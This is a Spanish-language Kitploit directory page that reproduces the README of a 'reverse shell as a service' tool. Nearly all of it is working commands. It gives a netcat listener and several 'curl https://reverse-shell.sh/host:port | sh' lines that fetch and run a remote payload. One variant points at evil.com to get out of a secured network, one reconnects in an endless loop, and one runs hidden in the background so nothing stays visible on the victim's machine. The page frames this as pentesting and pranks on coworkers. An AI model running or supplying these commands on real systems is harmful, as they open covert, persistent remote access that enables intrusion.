Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
reverse-shell — Servicio de shell inversa bajo demanda que detecta automáticamente el entorno objetivo y ejecuta el payload adecuado para acceso remoto durante pruebas de penetración. | Kitploit
Herramientas/GitHubGitHub/lukechilds/reverse-shell
ExplotaciónShellcodePruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto
GitHublukechilds/reverse-shell

reverse-shell

Servicio de shell inversa bajo demanda que detecta automáticamente el entorno objetivo y ejecuta el payload adecuado para acceso remoto durante pruebas de penetración.

Ver Repositorio
2.0k249hace 6 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

keyv

reverse-shell

Reverse Shell como servicio - https://reverse-shell.sh

Tests Coverage Status GitHub Donate

Reverse shell fácil de recordar que debería funcionar en la mayoría de sistemas tipo Unix.

Detecta el software disponible en el objetivo y ejecuta un payload apropiado.

Uso

1. Escucha la conexión

En tu máquina, abre un puerto y escucha en él. Puedes hacerlo fácilmente con netcat.

root@kitploit:~
nc -l 1337

2. Ejecuta la reverse shell en el objetivo

En la máquina objetivo, canaliza la salida de https://reverse-shell.sh/tuip:puerto hacia sh.

root@kitploit:~
curl https://reverse-shell.sh/192.168.0.69:1337 | sh

Vuelve a tu máquina; ahora deberías tener un prompt de shell.

3. No seas un idiota

Esto está pensado para pruebas de penetración o para ayudar a compañeros de trabajo a entender por qué siempre deben bloquear sus computadoras. Por favor, no lo uses para nada malicioso.

Demo

Consejos

Nombre de host

Puedes usar un nombre de host en lugar de una IP.

root@kitploit:~
curl https://reverse-shell.sh/localhost:1337 | sh

Conexiones remotas

Debido a que es una conexión inversa, puede atravesar firewalls y conectarse a internet.

Podrías escuchar conexiones en un servidor en evil.com y obtener una reverse shell desde una red segura con:

root@kitploit:~
curl https://reverse-shell.sh/evil.com:1337 | sh

Reconexión

Por defecto, cuando la shell sale, pierdes la conexión. Puedes hacerlo accidentalmente con un comando inválido. Puedes crear fácilmente una shell que intente reconectarse envolviéndola en un bucle while.

root@kitploit:~
while true; do curl https://reverse-shell.sh/tuip:1337 | sh; done

Ten cuidado si haces esto a un compañero; si se van de la oficina con esto aún ejecutándose, los estás exponiendo a un ataque.

Ejecución como proceso en segundo plano

La sesión de terminal debe mantenerse abierta para que la conexión reverse shell persista. Eso podría ser un poco obvio si intentas hacer una broma a compañeros de trabajo.

El siguiente comando ejecutará la reverse shell en un proceso en segundo plano y cerrará la terminal, sin dejar ventanas de terminal sospechosas abiertas en la máquina de la víctima.

Asegúrate de ejecutar esto en una ventana de terminal nueva; de lo contrario, perderás cualquier trabajo en tu sesión existente.

root@kitploit:~
sh -c "curl https://reverse-shell.sh/localhost:1337 | sh -i &" && exit

Licencia

MIT © Luke Childs

Descargar herramienta